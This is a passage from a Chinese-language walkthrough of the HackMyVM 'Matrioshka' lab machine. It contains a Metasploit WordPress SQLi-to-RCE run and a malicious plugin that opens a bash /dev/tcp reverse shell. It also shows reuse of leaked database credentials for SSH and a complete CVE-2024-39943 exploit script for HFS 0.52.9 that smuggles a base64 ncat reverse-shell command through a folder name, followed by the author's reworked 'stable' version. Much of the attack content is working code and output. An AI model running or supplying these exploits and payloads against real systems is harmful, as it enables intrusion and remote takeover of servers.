_member_sorting_sqli) &amp;gt; use exploit/multi/http/wp_automatic_sqli_to_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_automatic_sqli_to_rce) &amp;gt; set RHOSTS mamushka.hmv
RHOSTS =&amp;gt; mamushka.hmv
msf6 exploit(multi/http/wp_automatic_sqli_to_rce) &amp;gt; set RPORT 80
RPORT =&amp;gt; 80
msf6 exploit(multi/http/wp_automatic_sqli_to_rce) &amp;gt; set SSL false
SSL =&amp;gt; false
msf6 exploit(multi/http/wp_automatic_sqli_to_rce) &amp;gt; set TARGETURI /
TARGETURI =&amp;gt; /

msf6 exploit(multi/http/wp_automatic_sqli_to_rce) &amp;gt; show options

Module options (exploit/multi/http/wp_automatic_sqli_to_rce):

   Name       Current Sett  Required  Description
              ing
   ----       ------------  --------  -----------
   EMAIL      shanti.heath  no        Email for the ne
              cote@borer-a            w user
              rmstrong.exa
              mple
   PASSWORD   WuuPjjP8sUTT  no        Password for the
              68                       new user
   Proxies                  no        A proxy chain of
                                       format type:hos
                                      t:port[,type:hos
                                      t:port][...]. Su
                                      pported proxies:
                                       socks5, socks5h
                                      , http, sapni, s
                                      ocks4
   RHOSTS     mamushka.hmv  yes       The target host(
                                      s), see https://
                                      docs.metasploit.
                                      com/docs/using-m
                                      etasploit/basics
                                      /using-metasploi
                                      t.html
   RPORT      80            yes       The target port
                                      (TCP)
   SSL        false         no        Negotiate SSL/TL
                                      S for outgoing c
                                      onnections
   TARGETURI  /             yes       The base path to
                                       the wordpress a
                                      pplication
   USERNAME   rolando       no        Username to crea
                                      te
   VHOST                    no        HTTP server virt
                                      ual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setti  Required  Description
          ng
   ----   -------------  --------  -----------
   LHOST  192.168.0.108  yes       The listen address
                                   (an interface may b
                                   e specified)
   LPORT  4444           yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PHP In-Memory



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/wp_automatic_sqli_to_rce) &amp;gt; exploit
[*] Started reverse TCP handler on 192.168.0.108:4444 
[*] Running automatic check (&amp;quot;set AutoCheck false&amp;quot; to disable)
[*] Attempting SQLi test to verify vulnerability...
[+] The target is vulnerable. Target is vulnerable to SQLi!
[-] Exploit aborted due to failure: unexpected-reply: Failed to log in to WordPress admin.
[*] Exploit completed, but no session was created.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 最终的预期是反弹shell的，不过当上传&lt;code&gt;payload&lt;/code&gt;的时候会失败，因为新版的&lt;code&gt;wordpress&lt;/code&gt;是不允许上传&lt;code&gt;php&lt;/code&gt;文件  &lt;/p&gt;
&lt;p&gt;不过好在他成功创建了管理员账户&lt;code&gt;rolando:WuuPjjP8sUTT68&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;尝试登录一下，可以成功登录&lt;/p&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;h2&gt;上传恶意插件&lt;/h2&gt;
&lt;p&gt;我们可以尝试通过添加插件的访问获取反弹shell&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://heathc1iff-sec.github.io/%5Bhttps://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/wordpress.html?highlight=wordpress%5D(https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/wordpress.html?highlight=wordpress&quot;&gt;Wordpress - HackTricks&lt;/a&gt; plugins#plugin-rce)&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/wetw0rk/malicious-wordpress-plugin&quot;&gt;wetw0rk/malicious-wordpress-plugin:  Simply generates a wordpress plugin that will grant you a reverse shell  once uploaded. I recommend installing Kali Linux, as msfvenom is used  to generate the payload.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;或者可以尝试手动写一个恶意&lt;code&gt;php&lt;/code&gt;，压缩成&lt;code&gt;zip&lt;/code&gt;文件即可&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;❯ vi rev.php
&amp;lt;?php
/**
 * Plugin Name: GetRev
 * Version: 10.8.1
 * Author: PwnedSauce
 * Author URI: http://PwnedSauce.com
 * License: GPL2
 */
exec(&amp;quot;/bin/bash -c &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.108/4444 0&amp;gt;&amp;amp;1&amp;#39;&amp;quot;)
?&amp;gt;
❯ zip rev.zip rev.php
  adding: rev.php (deflated 14%)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Matrioshka-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@3ed5ddfe0e0c:/home$ env
HISTCONTROL=ignorespace
HOSTNAME=3ed5ddfe0e0c
PHP_VERSION=8.2.22
APACHE_CONFDIR=/etc/apache2
PHP_INI_DIR=/usr/local/etc/php
GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC
PHP_LDFLAGS=-Wl,-O1 -pie
PWD=/home
APACHE_LOG_DIR=/var/log/apache2
LANG=C
PHP_SHA256=8566229bc88ad1f4aadc10700ab5fbcec81587c748999d985f11cf3b745462df
APACHE_PID_FILE=/var/run/apache2/apache2.pid
WORDPRESS_DB_HOST=db
PHPIZE_DEPS=autoconf            dpkg-dev               file             g++             gcc             libc-dev                make            pkg-config             re2c
TERM=xterm-256color
PHP_URL=https://www.php.net/distributions/php-8.2.22.tar.xz
APACHE_RUN_GROUP=www-data
APACHE_LOCK_DIR=/var/lock/apache2
SHLVL=3
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
WORDPRESS_DB_PASSWORD=Fukurokuju
APACHE_RUN_DIR=/var/run/apache2
PS1=$(command printf &amp;quot;\[\033[01;31m\](remote)\[\033[0m\] \[\033[01;33m\]$(whoami)@$(hostname)\[\033[0m\]:\[\033[1;36m\]$PWD\[\033[0m\]\$ &amp;quot;)
APACHE_ENVVARS=/etc/apache2/envvars
APACHE_RUN_USER=www-data
WORDPRESS_DB_USER=matrioska
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
WORDPRESS_DB_NAME=wordpressdb
PHP_ASC_URL=https://www.php.net/distributions/php-8.2.22.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
_=/usr/bin/env
OLDPWD=/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权-matrioshka&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;你是 &lt;strong&gt;www-data&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;环境是 &lt;strong&gt;Docker（HOSTNAME=3ed5ddfe0e0c）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据库账号+密码已经白送到你 env 里&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;WordPress 是 &lt;strong&gt;完整可控态&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;WORDPRESS_DB_HOST=db
WORDPRESS_DB_NAME=wordpressdb
WORDPRESS_DB_USER=matrioska
WORDPRESS_DB_PASSWORD=Fukurokuju
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试ssh密码复用登录失败了&lt;/p&gt;
&lt;p&gt;发现matrioska和靶机题目差了个h，补全&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# ssh matrioshka@192.168.0.105
matrioshka@192.168.0.105&amp;#39;s password: 
Linux matrioshka 6.1.0-23-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.99-1 (2024-07-15) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Aug 22 19:12:21 2024 from 10.0.2.8
matrioshka@matrioshka:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权-root&lt;/h2&gt;
&lt;h3&gt;查suid&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;matrioshka@matrioshka:~$ find / -perm -4000 -type f 2&amp;gt;/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/mount
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;sudo -l&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;matrioshka@matrioshka:~$ sudo -l
[sudo] password for matrioshka: 
Sorry, user matrioshka may not run sudo on matrioshka.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;监听端口&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;matrioshka@matrioshka:~$ ss -lntup
Netid  State   Recv-Q   Send-Q     Local Address:Port              Peer Address:Port          Process           
udp    UNCONN  0        0                0.0.0.0:68                     0.0.0.0:*                               
tcp    LISTEN  0        128              0.0.0.0:22                     0.0.0.0:*                               
tcp    LISTEN  0        4096           127.0.0.1:38973                  0.0.0.0:*                               
tcp    LISTEN  0        4096           127.0.0.1:8080                   0.0.0.0:*                               
tcp    LISTEN  0        4096           127.0.0.1:9090                   0.0.0.0:*                               
tcp    LISTEN  0        128                 [::]:22                        [::]:*                               
tcp    LISTEN  0        511                    *:80                           *:*    
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;matrioshka@matrioshka:~$ ps aux | grep -E &amp;quot;8080|9090|38973&amp;quot; | grep -v grep
root         910  0.4  0.8 1303940 17144 ?       Sl   20:14   0:14 /usr/sbin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.18.0.3 -container-port 80
root        1527  0.0  0.7 1156220 14960 ?       Sl   20:14   0:00 /usr/sbin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 9090 -container-ip 172.19.0.2 -container-port 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 &lt;strong&gt;这不是普通服务，这是：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;宿主机 root 把两个 Docker 容器的 Web 服务“只映射到 localhost”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;也就是说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你现在 &lt;strong&gt;以 matrioshka 身份&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可以直接访问 root 暴露的内部 Docker 管理 Web&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不需要 docker 组&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不需要 sudo&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不需要内核漏洞&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这是 HMV 的&lt;strong&gt;标准“docker → root”终局设计&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;目标-Web 服务&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;不是宿主机了，而是这两个容器里的 &lt;strong&gt;&lt;strong&gt;Web 服务本身&lt;/strong&gt;&lt;/strong&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;本地端口&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;容器 IP&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;说明&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;8080&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;172.18.0.3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Web 服务 A&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;9090&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;172.19.0.2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Web 服务 B&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;👉** 其中至少一个容器 = root 挂载宿主 /var/run/docker.sock 或敏感目录**&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;matrioshka@matrioshka:~$ curl -v http://127.0.0.1:8080
curl -v http://127.0.0.1:9090
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
&amp;gt; GET / HTTP/1.1
&amp;gt; Host: 127.0.0.1:8080
&amp;gt; User-Agent: curl/7.88.1
&amp;gt; Accept: */*
&amp;gt; 
&amp;lt; HTTP/1.1 301 Moved Permanently
&amp;lt; Date: Sat, 24 Jan 2026 02:07:48 GMT
&amp;lt; Server: Apache/2.4.61 (Debian)
&amp;lt; X-Powered-By: PHP/8.2.22
&amp;lt; X-Redirect-By: WordPress
&amp;lt; Location: http://127.0.0.1/
&amp;lt; Content-Length: 0
&amp;lt; Content-Type: text/html; charset=UTF-8
&amp;lt; 
* Connection #0 to host 127.0.0.1 left intact
*   Trying 127.0.0.1:9090...
* Connected to 127.0.0.1 (127.0.0.1) port 9090 (#0)
&amp;gt; GET / HTTP/1.1
&amp;gt; Host: 127.0.0.1:9090
&amp;gt; User-Agent: curl/7.88.1
&amp;gt; Accept: */*
&amp;gt; 
&amp;lt; HTTP/1.1 200 OK
&amp;lt; Vary: Accept-Encoding
&amp;lt; server: HFS 0.52.9 2024-06-11T12:54:37.285Z
&amp;lt; etag: 
&amp;lt; Cache-Control: no-store, no-cache, must-revalidate
&amp;lt; Content-Type: text/html; charset=utf-8
&amp;lt; Content-Length: 1763
&amp;lt; Date: Sat, 24 Jan 2026 02:07:58 GMT
&amp;lt; Connection: keep-alive
&amp;lt; Keep-Alive: timeout=5
&amp;lt; 
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
                    
                        &amp;lt;title&amp;gt;File server&amp;lt;/title&amp;gt;
                        &amp;lt;link rel=&amp;quot;shortcut icon&amp;quot; href=&amp;quot;/favicon.ico?0&amp;quot; /&amp;gt;
                    
                    &amp;lt;script&amp;gt;
                    HFS = {
    &amp;quot;VERSION&amp;quot;: &amp;quot;0.52.9&amp;quot;,
    &amp;quot;API_VERSION&amp;quot;: 8.72,
    &amp;quot;SPECIAL_URI&amp;quot;: &amp;quot;/~/&amp;quot;,
    &amp;quot;PLUGINS_PUB_URI&amp;quot;: &amp;quot;/~/plugins/&amp;quot;,
    &amp;quot;FRONTEND_URI&amp;quot;: &amp;quot;/~/frontend/&amp;quot;,
    &amp;quot;session&amp;quot;: {
        &amp;quot;username&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;exp&amp;quot;: &amp;quot;2026-01-25T02:07:58.421Z&amp;quot;
    },
    &amp;quot;plugins&amp;quot;: {},
    &amp;quot;prefixUrl&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;dontOverwriteUploading&amp;quot;: true,
    &amp;quot;customHtml&amp;quot;: {},
    &amp;quot;file_menu_on_link&amp;quot;: true,
    &amp;quot;tile_size&amp;quot;: 0,
    &amp;quot;sort_by&amp;quot;: &amp;quot;name&amp;quot;,
    &amp;quot;invert_order&amp;quot;: false,
    &amp;quot;folders_first&amp;quot;: true,
    &amp;quot;sort_numerics&amp;quot;: false,
    &amp;quot;theme&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;auto_play_seconds&amp;quot;: 5,
    &amp;quot;lang&amp;quot;: {}
}
                    document.documentElement.setAttribute(&amp;#39;ver&amp;#39;, &amp;#39;0.52.9&amp;#39;)
                    &amp;lt;/script&amp;gt;
                
    &amp;lt;meta charset=&amp;quot;utf-8&amp;quot; /&amp;gt;
    &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1, maximum-scale=1.0, user-scalable=0&amp;quot; /&amp;gt;
    &amp;lt;link href=&amp;quot;/~/frontend/fontello.css&amp;quot; rel=&amp;quot;stylesheet&amp;quot; /&amp;gt;
    &amp;lt;script type=&amp;quot;module&amp;quot; crossorigin src=&amp;quot;/~/frontend/assets/index-Uv-vNCsJ.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; crossorigin href=&amp;quot;/~/frontend/assets/index-Bnwe3ltN.css&amp;quot;&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
                    
                    &amp;lt;style&amp;gt;
                    :root {
                        
                    }
                    &amp;lt;/style&amp;gt;
                    
                    
                
    &amp;lt;noscript&amp;gt;You need to enable JavaScript to run this app.&amp;lt;/noscript&amp;gt;
    &amp;lt;div id=&amp;quot;root&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;script nomodule&amp;gt;document.getElementById(&amp;#39;root&amp;#39;).innerText = &amp;quot;Please use a newer browser&amp;quot;&amp;lt;/script&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
* Connection #0 to host 127.0.0.1 left intact
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;8080 端口&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;WordPress，返回 301 重定向到 &lt;code&gt;http://127.0.0.1/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;说明：&lt;strong&gt;只是普通 WordPress&lt;/strong&gt;，没有直接暴露管理 API 或命令执行接口&lt;/li&gt;
&lt;li&gt;目前不能直接从这里拿到 root shell&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;9090 端口&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;返回了 &lt;strong&gt;HFS 0.52.9&lt;/strong&gt; 文件服务器（HTTP File Server）&lt;/li&gt;
&lt;li&gt;特点：&lt;ul&gt;
&lt;li&gt;内置 Web 文件管理&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/~/&lt;/code&gt; API 可能存在文件上传或管理接口&lt;/li&gt;
&lt;li&gt;很可能没有认证（你看到 &lt;code&gt;&amp;quot;username&amp;quot;: &amp;quot;&amp;quot;&lt;/code&gt;，session 为空）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;9090 是 &lt;strong&gt;HFS 0.52.9（Rejetto 新版 Node.js 重写）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;这不是老的 &lt;strong&gt;HFS 2.x（CVE-2014-6287 那一套）&lt;/strong&gt;&lt;br&gt;👉 所以：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;❌ &lt;code&gt;/~/upload&lt;/code&gt; 直传 ≠ 一定存在&lt;/li&gt;
&lt;li&gt;❌ &lt;code&gt;/~/exec&lt;/code&gt; 这种老接口 ≠ 存在&lt;/li&gt;
&lt;li&gt;❌ Metasploit 里 &lt;strong&gt;hfs_exec&lt;/strong&gt; 那个模块 &lt;strong&gt;一定打不通&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;SSH 本地端口转发&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ssh -L 7777:127.0.0.1:9090 matrioshka@192.168.0.105
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Matrioshka-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt; 尝试利用弱密码去登录，发现凭证就是&lt;code&gt;admin:admin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Matrioshka-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Matrioshka-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;得知文件服务器是&lt;code&gt;HFS 0.52.9&lt;/code&gt;版本&lt;/p&gt;
&lt;p&gt;搜寻一下有无版本漏洞&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/jakabakos/CVE-2024-23692-RCE-in-Rejetto-HFS&quot;&gt;jakabakos/CVE-2024-23692-RCE-in-Rejetto-HFS: Unauthenticated RCE Flaw in Rejetto HTTP File Server (CVE-2024-23692)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Y5neKO/Y5_VulnHub/tree/main/HFS/CVE-2024-39943-Poc-main&quot;&gt;https://github.com/Y5neKO/Y5_VulnHub/tree/main/HFS/CVE-2024-39943-Poc-main&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;CVE-2024-23692&lt;/code&gt;的POC虽然可以监测到含有漏洞，但无法成功利用&lt;/p&gt;
&lt;p&gt;然而利用&lt;code&gt;CVE-2024-39943&lt;/code&gt;可以通过身份验证后执行任意命令&lt;/p&gt;
&lt;h3&gt;CVE-2024-39943&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;✅ 只下载 poc.py
wget https://raw.githubusercontent.com/Y5neKO/Y5_VulnHub/main/HFS/CVE-2024-39943-Poc-main/poc.py
或用 curl：
curl -O https://raw.githubusercontent.com/Y5neKO/Y5_VulnHub/main/HFS/CVE-2024-39943-Poc-main/poc.py

✅ 只下载 config.yaml
wget https://raw.githubusercontent.com/Y5neKO/Y5_VulnHub/main/HFS/CVE-2024-39943-Poc-main/config.yaml

✅ 下载 hfs-linux.zip
这个是二进制，必须 raw 链接，否则会下成 HTML：
wget https://raw.githubusercontent.com/Y5neKO/Y5_VulnHub/main/HFS/CVE-2024-39943-Poc-main/hfs-linux.zip

解压：
unzip hfs-linux.zip
chmod +x hfs

✅ 下载 README.md
wget https://raw.githubusercontent.com/Y5neKO/Y5_VulnHub/main/HFS/CVE-2024-39943-Poc-main/README.md
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/tools/CVE-2024-39943-Poc-main]
└─# python poc.py
Url: http://127.0.0.1:7777/
Cookie: hfs_http=eyJ1c2VybmFtZSI6ImFkbWluIiwiaXAiOiIxNzIuMTkuMC4xIiwiX2V4cGlyZSI6MTc2OTMwODkxNTcwMCwiX21heEFnZSI6ODY0MDAwMDB9; hfs_http.sig=QbVN3mahV5vTUOHKnRCKvSPF6kQ
Ip: 127.0.0.1
Port: 9999
Step 1 add vfs
Step 2 set permission vfs
Step 3 create folder
Step 4 execute payload
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/tools/CVE-2024-39943-Poc-main]
└─# cat poc.py
import requests as req
import base64

url = input(&amp;quot;Url: &amp;quot;)
cookie = input(&amp;quot;Cookie: &amp;quot;)
ip = input(&amp;quot;Ip: &amp;quot;)
port = input(&amp;quot;Port: &amp;quot;)

headers = {&amp;quot;x-hfs-anti-csrf&amp;quot;:&amp;quot;1&amp;quot;,&amp;quot;Cookie&amp;quot;:cookie}

print(&amp;quot;Step 1 add vfs&amp;quot;)
step1 = req.post(url+&amp;quot;~/api/add_vfs&amp;quot;, headers=headers, json={&amp;quot;parent&amp;quot;:&amp;quot;/&amp;quot;,&amp;quot;source&amp;quot;:&amp;quot;/tmp&amp;quot;})

print(&amp;quot;Step 2 set permission vfs&amp;quot;)
step2 = req.post(url+&amp;quot;~/api/set_vfs&amp;quot;, headers=headers, json={&amp;quot;uri&amp;quot;:&amp;quot;/tmp/&amp;quot;,&amp;quot;props&amp;quot;:{&amp;quot;can_see&amp;quot;:None,&amp;quot;can_read&amp;quot;:None,&amp;quot;can_list&amp;quot;:None,&amp;quot;can_upload&amp;quot;:&amp;quot;*&amp;quot;,&amp;quot;can_delete&amp;quot;:None,&amp;quot;can_archive&amp;quot;:None,&amp;quot;source&amp;quot;:&amp;quot;/tmp&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;tmp&amp;quot;,&amp;quot;type&amp;quot;:&amp;quot;folder&amp;quot;,&amp;quot;masks&amp;quot;:None}})

print(&amp;quot;Step 3 create folder&amp;quot;)
command = &amp;quot;ncat {0} {1} -e /bin/bash&amp;quot;.format(ip,port)
command = command.encode(&amp;#39;utf-8&amp;#39;)
payload = &amp;#39;poc&amp;quot;;python3 -c &amp;quot;import os;import base64;os.system(base64.b64decode(\&amp;#39;&amp;#39;+base64.b64encode(command).decode(&amp;#39;utf-8&amp;#39;)+&amp;quot;&amp;#39;))&amp;quot;
step3 = req.post(url+&amp;quot;~/api/create_folder&amp;quot;, headers=headers, json={&amp;quot;uri&amp;quot;:&amp;quot;/tmp/&amp;quot;,&amp;quot;name&amp;quot;:payload})

print(&amp;quot;Step 4 execute payload&amp;quot;)
step4 = req.get(url+&amp;quot;~/api/get_ls?path=/tmp/&amp;quot;+payload, headers=headers)                                                        
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;监听端口，然而并不触发&lt;/p&gt;
&lt;h4&gt;为什么 &lt;code&gt;ncat -e&lt;/code&gt; 不触发&lt;/h4&gt;
&lt;p&gt;在这个 HFS 场景里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RCE 发生在 &lt;strong&gt;Node.js child_process.execSync&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;执行环境是 &lt;strong&gt;非交互 shell&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ncat -e /bin/bash&lt;/code&gt; 很容易因为：&lt;ul&gt;
&lt;li&gt;TTY 不存在&lt;/li&gt;
&lt;li&gt;seccomp / busybox / netcat 变种&lt;/li&gt;
&lt;li&gt;stdout / stderr 被 HFS 吃掉&lt;br&gt;👉 &lt;strong&gt;直接失败但不报错&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;修改后的 稳定版 PoC 结构（推荐）&lt;/h4&gt;
&lt;h5&gt;✅ 思路&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;不在脚本里拼命令&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;只负责：&lt;br&gt;&lt;strong&gt;把 base64 解码后丢给 shell 执行&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;✅ 代码&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;import requests as req

url = input(&amp;quot;Url: &amp;quot;)
cookie = input(&amp;quot;Cookie: &amp;quot;)
cmd_b64 = input(&amp;quot;Base64Cmd: &amp;quot;)

headers = {
    &amp;quot;x-hfs-anti-csrf&amp;quot;: &amp;quot;1&amp;quot;,
    &amp;quot;Cookie&amp;quot;: cookie
}

print(&amp;quot;[+] Step 1 add vfs&amp;quot;)
req.post(url + &amp;quot;~/api/add_vfs&amp;quot;,
         headers=headers,
         json={&amp;quot;parent&amp;quot;: &amp;quot;/&amp;quot;, &amp;quot;source&amp;quot;: &amp;quot;/tmp&amp;quot;})

print(&amp;quot;[+] Step 2 set vfs permission&amp;quot;)
req.post(url + &amp;quot;~/api/set_vfs&amp;quot;,
         headers=headers,
         json={
             &amp;quot;uri&amp;quot;: &amp;quot;/tmp/&amp;quot;,
             &amp;quot;props&amp;quot;: {
                 &amp;quot;can_upload&amp;quot;: &amp;quot;*&amp;quot;,
                 &amp;quot;source&amp;quot;: &amp;quot;/tmp&amp;quot;,
                 &amp;quot;name&amp;quot;: &amp;quot;tmp&amp;quot;,
                 &amp;quot;type&amp;quot;: &amp;quot;folder&amp;quot;
             }
         })

print(&amp;quot;[+] Step 3 create malicious folder&amp;quot;)

payload = (
    &amp;#39;poc&amp;quot;;&amp;#39;
    &amp;#39;python3 -c &amp;quot;import os,base64;&amp;#39;
    &amp;#39;os.system(base64.b64decode(\&amp;#39;%s\&amp;#39;).decode())&amp;#39;
    &amp;#39;&amp;quot;&amp;#39;
) % cmd_b64

req.post(url + &amp;quot;~/api/create_folder&amp;quot;,
         headers=headers,
         json={&amp;quot;uri&amp;quot;: &amp;quot;/tmp/&amp;quot;, &amp;quot;name&amp;quot;: payload})

print(&amp;quot;[+] Step 4 trigger execution&amp;quot;)
req.get(url + &amp;quot;~/api/get_ls?path=/tmp/&amp;quot; + payload,
        headers=headers)

print(&amp;quot;[+] Done&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
